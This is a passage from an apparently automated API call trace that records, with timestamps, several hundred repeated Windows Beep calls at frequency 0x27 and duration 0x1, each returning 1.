(dwFreq=0x27, dwDuration=0x1) returned 1 [0074.449] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.466] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.479] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.494] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.496] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.503] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.519] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.535] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.550] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.552] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.553] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.554] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.555] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.558] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.560] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.578] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.598] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.611] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.613] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.620] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.635] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.650] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.665] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.667] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.669] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.673] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.675] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.692] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.707] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.724] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.726] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.731] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.752] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.765] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.781] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.784] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.789] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.807] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.822] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.838] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.840] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.848] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.863] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.877] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.892] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.895] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.896] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.897] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.901] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.921] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.935] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.956] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.959] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.975] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.992] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.006] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.009] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.011] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.015] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.034] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.050] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.069] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.071] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.076] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.078] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.083] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.099] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.113] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.130] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.132] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.140] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.156] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.170] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.186] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.189] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.201] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.214] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.235] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.245] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.256] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.259] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.260] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.262] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.264] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.266] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.282] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.303] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.313] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.316] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.318] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.321] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.341] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.354] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.378] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.382] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.386] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.387] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.388] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.392] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.406] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.427] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.436] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.454] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.471] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.486] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.488] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.489] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.490] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.492] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.494] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.496] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.520] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.528] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.544] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.560] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.577] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.593] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.615] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.625] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.626] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.647] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.657] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.675] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.692] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.709] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.710] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.714] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.716] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.743] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.751] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.770] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.787] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.796] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.816] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.831] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.847] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.849] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.853] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.855] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.879] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.886] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.902] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.903] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.908] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.920] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.936] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.943] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.962] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.972] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.984] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0075.990] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.007] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.017] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.037] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.053] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.074] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.092] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.102] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.120] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.137] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.154] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.156] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.162] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.185] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.203] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.208] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.211] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.212] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.217] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.238] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.251] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.267] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.269] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.278] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.294] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.307] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.356] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.358] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.360] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.363] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.379] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.399] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.411] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.435] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.442] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.459] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.476] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.492] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.493] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.495] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.498] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.500] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.501] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.524] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.532] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.548] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.553] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.570] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.587] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.600] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.619] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.621] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.622] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.623] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.624] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.640] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.658] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.673] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.689] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.705] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.707] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.708] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.711] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.713] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.714] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.736] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.745] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.765] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.784] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.794] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.817] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.835] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.845] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.860] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.886] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.895] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.908] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.915] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.933] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0076.943] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.017] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.022] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.037] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.053] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.068] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.069] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.071] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.071] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.072] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.073] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.074] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.075] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.076] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.078] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.078] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.094] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.109] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.125] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.126] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.127] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.128] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.129] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.130] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.131] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.132] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.133] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.134] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.135] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.150] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.166] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.182] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.183] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.184] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.185] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.186] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.187] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.188] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.189] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.190] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.191] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.200] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.208] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.223] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.239] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.254] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.255] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.256] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.272] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.289] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.303] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.304] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.305] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.321] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.336] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.352] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.353] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.354] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.369] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.385] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.401] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.401] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.403] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.418] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.434] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.450] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.451] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.467] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.483] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.483] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.485] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.485] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.486] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.487] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.488] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.490] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.491] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.491] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.492] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.508] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.524] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.539] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.540] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.541] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.557] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.573] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.573] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.575] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.590] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.611] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.621] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.623] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.623] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.639] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.654] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.655] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.656] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.657] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.659] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.659] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.660] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.661] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.663] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.664] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.664] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.680] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.696] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.711] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.712] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.713] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.729] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.744] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.745] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.746] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.762] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.779] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.794] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.794] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.795] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.811] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.826] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.827] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.828] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.844] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.860] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.875] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.876] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.877] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.893] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.908] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.909] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.910] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.926] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.942] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.943] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.944] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.945] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.947] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.948] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.949] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.950] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.952] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.967] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.983] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.999] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0077.999] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.000] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.016] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.032] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.033] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.035] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.036] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.037] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.038] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.039] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.040] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.041] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.042] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.057] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.073] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.089] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.089] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.090] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.106] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.122] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.138] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.138] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.139] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.155] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.171] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.187] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.187] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.188] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.207] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.221] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.236] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.237] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.252] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.268] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.285] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.286] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.301] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.317] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.333] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.333] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.334] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.350] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.366] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.367] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.368] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.383] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.399] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.414] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.415] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.416] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.432] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.448] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.449] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0078.450] Beep (dwFreq=0x27, 